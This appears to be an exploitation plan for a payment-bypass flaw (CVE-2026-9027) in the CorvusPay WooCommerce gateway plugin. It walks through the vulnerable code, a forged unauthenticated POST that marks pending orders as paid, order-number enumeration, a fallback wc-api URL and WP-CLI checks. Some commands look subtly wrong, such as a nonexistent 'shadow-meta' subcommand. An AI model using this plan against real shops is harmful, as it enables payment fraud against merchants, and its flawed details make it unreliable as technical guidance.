Exploitation Research Plan: CorvusPay WooCommerce Payment Gateway Payment Bypass (CVE-2026-9027)

1. Vulnerability Summary

The CorvusPay WooCommerce Payment Gateway plugin (versions <= 2.7.4) contains a critical logic flaw in its payment confirmation handler. The plugin registers an unauthenticated REST API endpoint POST /wp-json/corvuspay/success/ to receive payment success notifications from the CorvusPay gateway. While the plugin correctly computes and validates the cryptographic signature of the incoming request, it **fails to act on the validation result**. The boolean result of the signature check is written to a debug log, but the code execution continues unconditionally to mark the associated WooCommerce order as "Paid" via $order->payment_complete(). This allows an attacker to spoof payment success messages for any order.

2. Attack Vector Analysis

• Endpoint: POST /wp-json/corvuspay/success/
• Authentication: Unauthenticated ('permission_callback' => '__return_true').
• Target Parameter: order_number (The WooCommerce order ID or the plugin-formatted order number).
• Payload Parameters: signature (can be arbitrary), approval_code (can be arbitrary).
• Preconditions: A WooCommerce order must exist in a status that allows payment completion (e.g., "Pending payment").

3. Code Flow

1. Hook Registration: In includes/class-wc-gateway-corvuspay.php, the plugin hooks into rest_api_init:

   add_action( 'rest_api_init', array( $this, 'register_corvuspay_rest_routes' ) );
   

2. Route Definition: The register_corvuspay_rest_routes function (implied by description) registers the /success/ endpoint with no permission checks.
3. Handler Execution: The corvuspay_success_handler is invoked upon a POST request.
4. Order Initialization: The handler instantiates WC_Order_CorvusPay with the callback-signed type.
5. Vulnerable Signature Check: In includes/class-wc-order-corvuspay.php (Lines 185-188):

   if ( 'callback-signed' === $type ) {
       // ... (meta updates)
       $res = $this->client->validate->signature( $this->parameters );
       $this->log->debug( 'Result from signature validation: ' . $res );
   }
   

   The variable $res captures the truth value of the signature, but there is no if (!$res) check following this.
6. Payment Completion: Back in the success handler (in includes/class-wc-gateway-corvuspay.php), the code proceeds to call $order->payment_complete(), transitioning the order status and granting the user the product/service.

4. Nonce Acquisition Strategy

This vulnerability resides in a REST API endpoint registered with 'permission_callback' => '__return_true'.

• Nonce Requirement: None. Standard WordPress REST API nonces (_wpnonce) are not required for endpoints that do not implement permission checks or are intended for external webhooks.
• Verification: The register_corvuspay_rest_routes function explicitly enables unauthenticated access.

5. Exploitation Strategy

The goal is to move a "Pending" order to "Processing/Completed" without a valid CorvusPay signature.

Step-by-Step Plan:

1. Identify Order Number: Determine a valid WooCommerce order number. Since these are sequential integers, an attacker can iterate through numbers or use the order ID generated during their own checkout.
2. Determine Parameter Format: The plugin uses order_number in the POST body. Note that WC_Order_CorvusPay::ORDER_NUMBER_DELIMITER is ' - '. If the site is in "Test Mode", the order number might be prefixed (e.g., Test - 123). In production, it is typically just the ID.
3. Craft the Request: Send a POST request to the REST endpoint.

HTTP Request (Example):

• Method: POST
• URL: http://<target>/wp-json/corvuspay/success/
• Headers: Content-Type: application/x-www-form-urlencoded
• Body: order_number=123&signature=invalid_fake_signature&approval_code=999999

6. Test Data Setup

1. Install Dependencies: Ensure WooCommerce is active.
2. Configure Plugin: Enable the CorvusPay gateway in WooCommerce settings (/wp-admin/admin.php?page=wc-settings&tab=checkout&section=corvuspay).
3. Create Order:
   • Use WP-CLI to create a pending order for a customer:

     wp eval '$order = wc_create_order(); $order->add_product(wc_get_product(PAGE_ID), 1); $order->set_status("pending"); $order->save(); echo "Order ID: " . $order->get_id();'
     

   • Alternatively, use the browser to add a product to the cart and proceed to checkout, selecting CorvusPay but not completing the payment.

7. Expected Results

• The server should respond with a 200 OK or a successful JSON status.
• The WooCommerce order notes should show that the payment was completed.
• The order status should change from pending to processing or completed.

8. Verification Steps

After sending the http_request, verify the order status via WP-CLI:

# Replace 123 with the actual Order ID
wp wc order get 123 --field=status

Expected output: processing or completed.

Check the order metadata to see the spoofed approval code:

wp post shadow-meta list 123 --keys=_corvuspay_approval_code

9. Alternative Approaches

If the REST endpoint /wp-json/corvuspay/success/ is blocked or behaves unexpectedly, the plugin also registers a legacy WooCommerce API hook:

• Action: woocommerce_api_corvuspay-success
• URL: http://<target>/?wc-api=corvuspay-success
• Mechanism: This calls the same corvuspay_success_handler function. The same payload should be sent via POST to this URL if the REST route is unavailable.